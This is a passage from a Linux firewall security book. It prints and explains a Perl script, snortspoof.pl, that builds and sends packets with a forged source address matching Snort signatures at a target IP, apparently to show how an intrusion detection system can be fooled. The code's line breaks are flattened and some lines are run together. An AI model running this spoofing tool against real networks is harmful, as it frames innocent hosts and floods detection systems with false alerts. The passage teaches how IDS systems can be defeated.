Linux Firewalls - Michael Rash [163]
[spoofer]$ cat snortspoof.pl
#!/usr/bin/perl -w
❶ require Net::RawIP;
use strict;
my $file = $ARGV[0] || '';
my $spoof_addr = $ARGV[1] || '';
my $dst_addr = $ARGV[2] || '';
die "$0 unless $file and $spoof_addr and $dst_addr; # alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux # mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F"; # reference:bugtraq,121 my $sig_sent = 0; ❷ open F, "< $file" or die "[*] Could not open $file: $!"; SIG: while ( my $content = ''; my $conv_content = ''; my $hex_mode = 0; my $proto = ''; my $spt = 10000; my $dpt = 10000; ### make sure it is an inbound sig ❸ if (/^\s*alert\s+(tcp|udp)\s+\S+\s+(\S+)\s+\S+ \s+(\$HOME_NET|any)\s+(\S+)\s/x) { $proto = $1; my $spt_tmp = $2; my $dpt_tmp = $4; ### can't handle multiple content fields yet next SIG if /content:.*\s*content\:/; $content = $1 if /\s*content\:\"(.*?)\"\;/; next SIG unless $content; if ($spt_tmp =˜ /(\d+)/) { $spt = $1; } elsif ($spt_tmp ne 'any') { next SIG; } if ($dpt_tmp =˜ /(\d+)/) { $dpt = $1; } elsif ($dpt_tmp ne 'any') { next SIG; } my @chars = split //, $content; ❹ for (my $i=0; $i<=$#chars; $i++) { if ($chars[$i] eq '|') { $hex_mode == 0 ? ($hex_mode = 1) : ($hex_mode = 0); next; } if ($hex_mode) { next if $chars[$i] eq ' '; $conv_content .= sprintf("%c", hex($chars[$i] . $chars[$i+1])); $i++; } else { $conv_content .= $chars[$i]; } } my $rawpkt = ''; if ($proto eq 'tcp') { ❺ $rawpkt = new Net::RawIP({'ip' => { saddr => $spoof_addr, daddr => $dst_addr}, 'tcp' => { source => $spt, dest => $dpt, 'ack' => 1, data => $conv_content}}) or die "[*] Could not get Net::RawIP object: $!"; } else { ❻ $rawpkt = new Net::RawIP({'ip' => { saddr => $spoof_addr, daddr => $dst_addr}, 'udp' => { source => $spt, dest => $dpt, data => $conv_content}}) or die "[*] Could not get Net::RawIP object: $!"; } ❼ $rawpkt->send(); $sig_sent++; } } print "[+] $file, $sig_sent attacks sent.\n"; close F; exit 0; Digging into the source code, at ❶ the script uses the Net::RawIP Perl module, which must be installed on your system. ( You can download it from http://www.cpan.org.) At ❷, the Snort rules file given on the command line is opened, and the script iterates over all of the rules in the file. At ❸, snortspoof.pl extracts TCP and UDP signatures that detect attacks against the HOME_NET; we want to send attacks that a remote Snort sensor will be looking for coming into the HOME_NET. The most complex portion of the code begins at ❹—the interpretation of the application layer content string that the Snort rule is trying to match within network traffic. If the original content field contains hex codes enclosed between pipe (|) characters, snortspoof.pl converts these characters into the bytes they actually represent before the attack packet is put on the wire. At ❺ and ❻, snortspoof.pl uses the Net::RawIP Perl module to build either a TCP or UDP packet with the source and destination IP addresses that were specified on the command line, the source and destination port numbers, and the application layer data that is derived from the Snort rule. Finally, at ❼, the packet is sent on its way toward the target IP. Now it is time to use snortspoof.pl to target an IP address with packets that match the